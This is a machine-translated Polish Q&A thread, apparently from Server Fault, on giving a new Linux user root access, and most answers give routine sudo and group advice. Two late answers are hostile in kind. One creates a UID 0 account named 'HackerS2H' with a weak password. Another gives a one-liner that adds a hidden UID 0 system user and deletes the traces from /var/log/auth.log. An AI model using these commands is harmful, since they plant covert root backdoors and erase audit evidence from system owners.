dodaj nowego użytkownika z dostępem roota w systemie Linux

31

Chcę dodać nowego użytkownika i / przyznać temu nowemu użytkownikowi dostęp do konta root, jak mogę to zrobić?

Zrobiłem to, sudo adduser --system testuserale nie działa tak, jak się spodziewałem.

Dzięki za pomoc.

seg.server.fault
źródło

Odpowiedzi:

62

Istnieją trzy sposoby, aby to zrobić: właściwy, niewłaściwy i brzydki.

Najpierw utwórz normalne konto użytkownika.

adduser username

Następnie wybierz jedną z następujących opcji:


Właściwy sposób

Utwórz sudowpis dla wheelgrupy w /etc/sudoersnastępujący sposób:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

Lub w przypadku wersji „nowoczesnych”:

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

Następnie dodaj użytkownika do wheelgrupy. Dodawanie i usuwanie użytkowników z uprawnieniami administracyjnymi staje się teraz funkcją zapamiętywania dodawania ich do koła, zamiast tworzenia wpisu w sudo. Wspaniałą rzeczą w korzystaniu z koła jest to, że możesz rozszerzyć ten mechanizm na inne schematy uwierzytelniania, które obsługują grupy, tj. Winbind / Active Directory, i czerpać z tego korzyści. Osiągnąłbyś to poprzez mapowanie koła na grupę w schemacie uwierzytelniania, który ma uprawnienia administratora.

Pamiętaj, że niektóre dystrybucje używają różnych kont administracyjnych. Koło jest „tradycyjne” podejście do tego, ale może napotkać admin, admi innych kont grupowych, które służą temu samemu celowi.

Edycja uzupełniająca:

Muszę przyznać punkt Bartowi Silverstrimowi za wskazanie, że Ubuntu używa admindo tego celu grupy. Dotarł do tego pierwszy, chociaż wtedy nie zauważyłem tagu Ubuntu. Znowu wszystko zależy od tego, jakiej dystrybucji używasz.


Brzydka droga

Utwórz pozycję sudo dla danego konta użytkownika i daj pełny dostęp. Ponownie utworzysz wpis w /etc/sudoersnastępujący sposób:

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

DODANO: ## Dla wersji Ubuntu: nazwa użytkownika ALL = (ALL: ALL)

Jest to świetne, jeśli masz tylko jedno (lub dwa) zwykłe konta. To brzydkie, gdy masz sto kont na wielu (geofizycznych) stronach i musisz stale utrzymywać plik sudo.


Zły kierunek

Możesz edytować /etc/passwdplik i zmienić identyfikator konta użytkownika z dowolnego numeru na 0. Zgadza się, zero .

username:x:0:502::/home/username:/bin/bash

Widzisz ten trzeci wpis jako zero? Podczas logowania do tego konta, jesteś dla wszystkich skutecznych celów root. Nie polecam tego. Jeśli nie pamiętasz, kim jesteś, możesz wywołać wszelkiego rodzaju spustoszenie, gdy zaczniesz tworzyć i dotykać plików jako root. Możesz także dodać swoją nazwę użytkownika do rootgrupy. Ma to ten sam efekt w przypadku dostępu do plików, ale stwarza inne problemy; programy zauważą, że nie jesteś użytkownikiem root i odmówią uruchomienia, ale uzyskasz dostęp do plików należących do grupy root .

Jeśli to zrobiłeś, użyłeś vipwzamiast po prostu edytować vi, prawda? (lub jakikolwiek inny ulubiony edytor tekstu) W końcu pojedyncza literówka w tym pliku może zablokować dostęp do systemu - a to oznacza fizyczną wizytę na komputerze z dyskiem naprawczym ...

Avery Payne
źródło
2
Nie udokumentowałbym nawet w niewłaściwy sposób. Zbyt tabu.
elcuco
15
Nie zgadzam się. Jeśli ukryjesz coś złego, to nie zniknie, po prostu gniewa się - a czasami wiedza, że ​​coś jest zabronione, przyciąga więcej uwagi niż powinna. Lepiej zrozumieć, dlaczego jest to tabu. Zwłaszcza, gdy istnieją (co prawda rzadkie) okoliczności, w których możesz potrzebować tej wiedzy. Mimo to dam ci punkt za wskazanie, jak naprawdę mogą być złe rzeczy. :)
Avery Payne
1
„W końcu jedna literówka w tym pliku może zablokować cię z systemu” - nie, nie może, może zablokować cię po rozłączeniu wszystkich sesji Putty (zakładając, że używasz Putty). Dopóki nie rozłączysz się, ale po prostu otworzysz kolejną sesję, aby przetestować swoje ustawienia, jesteś pod tym względem w porządku.
quis
1
@quamis - true. Chociaż próbowałem zwrócić uwagę na niebezpieczeństwo, zakładając, że „strzelać i zapomnieć” można bezpiecznie. :) Dla Ciebie też punkt za wskazanie dobrych praktyk - zawsze testuj ustawienia później .
Avery Payne
1
Chciałbym tylko zauważyć, że to, co tradycyjnie było „kołową” grupą (z binarną elewacją na poziomie flagi) w Uniksie, nie jest już powszechnym terminem określającym grupę użytkowników, którzy mogą podwyższyć za pomocą sudo. Z mojego doświadczenia wynika, że ​​najczęstszą nazwą grupy osób, które mogą sudo, są obecnie „sudoers” i są już skonfigurowane w większości systemów.
Bojan Markovic
3

Używam tego od lat i jest to najlepszy sposób na dodanie sudoer na AskUbuntu :

adduser existinguser sudo

Znacznie prostsze niż edycja plików i łatwe do wprowadzenia w skrypcie powłoki do instalacji nienadzorowanej.

Jeśli chcesz utworzyć użytkownika i przyznać uprawnienia sudo, możesz to zrobić w jednym wierszu:

useradd newuser -m -G sudo
passwd newuser

-mutworzył katalog domowy i -Gokreśla dodatkową grupę.

Dan Dascalescu
źródło
2

i z tym jest 100%:

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

i połącz się z serwerem Kit i IP

hacker-s2h
źródło
1

Możesz utworzyć użytkownika za pomocą adduser, patrz man adduser.
Po dodaniu go do uprzywilejowanej grupy, takiej jak root lub koło. Ale myślę, że najbardziej zalecanym sposobem na uzyskanie pozwolenia jest używanie sudo.

Ali Mezgani
źródło
1

możesz wykonać:

#useradd -m -g root alex

tworzy użytkownika Alex z katalogiem domowym, który należy do grupy głównej

Razique
źródło
1

Dodatek do odpowiedzi Avery Payne: w Ubuntu możesz chcieć tak:

%sudo   ALL=(ALL:ALL) ALL

I nie tak:

%sudo    ALL=(ALL) ALL
hukeping
źródło
0

„Brzydki i niechlujny” sposób polega na edycji pliku / etc / passwd, aby UID = 0 ORAZ GID = 0 dla nowego użytkownika. Ale to stwarza wiele zagrożeń bezpieczeństwa . Wiesz, że jeśli jest także rootem, może wyłączyć twój accont, zmienić hasło, uczynić cię „zwykłym użytkownikiem” ... prawda? więc dlaczego nie dać mu swojego konta?

Możesz przestudiować sposób działania suid ( http://en.wikipedia.org/wiki/Setuid ), jeśli chcesz przyznać mu uprawnienia roota tylko dla kilku poleceń.

quami
źródło
-1

Oto jeden liniowiec:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

Najlepiej,

Boschko
źródło
1
Dodanie dodatkowych użytkowników za pomocą identyfikatora UID 0 nie jest dobrym pomysłem ... zobacz odpowiedź z największą liczbą głosów, aby poznać szczegóły.
Gerald Schneider
@ GeraldSchneider Nigdy nie powiedziałem, że to dobry pomysł ... Jestem dobrze świadomy ... i szczerze mówiąc, to nie jest nasz problem. Jest to jedna wkładka, używaj jej przez cały czas. Pozdrawiam
Boschko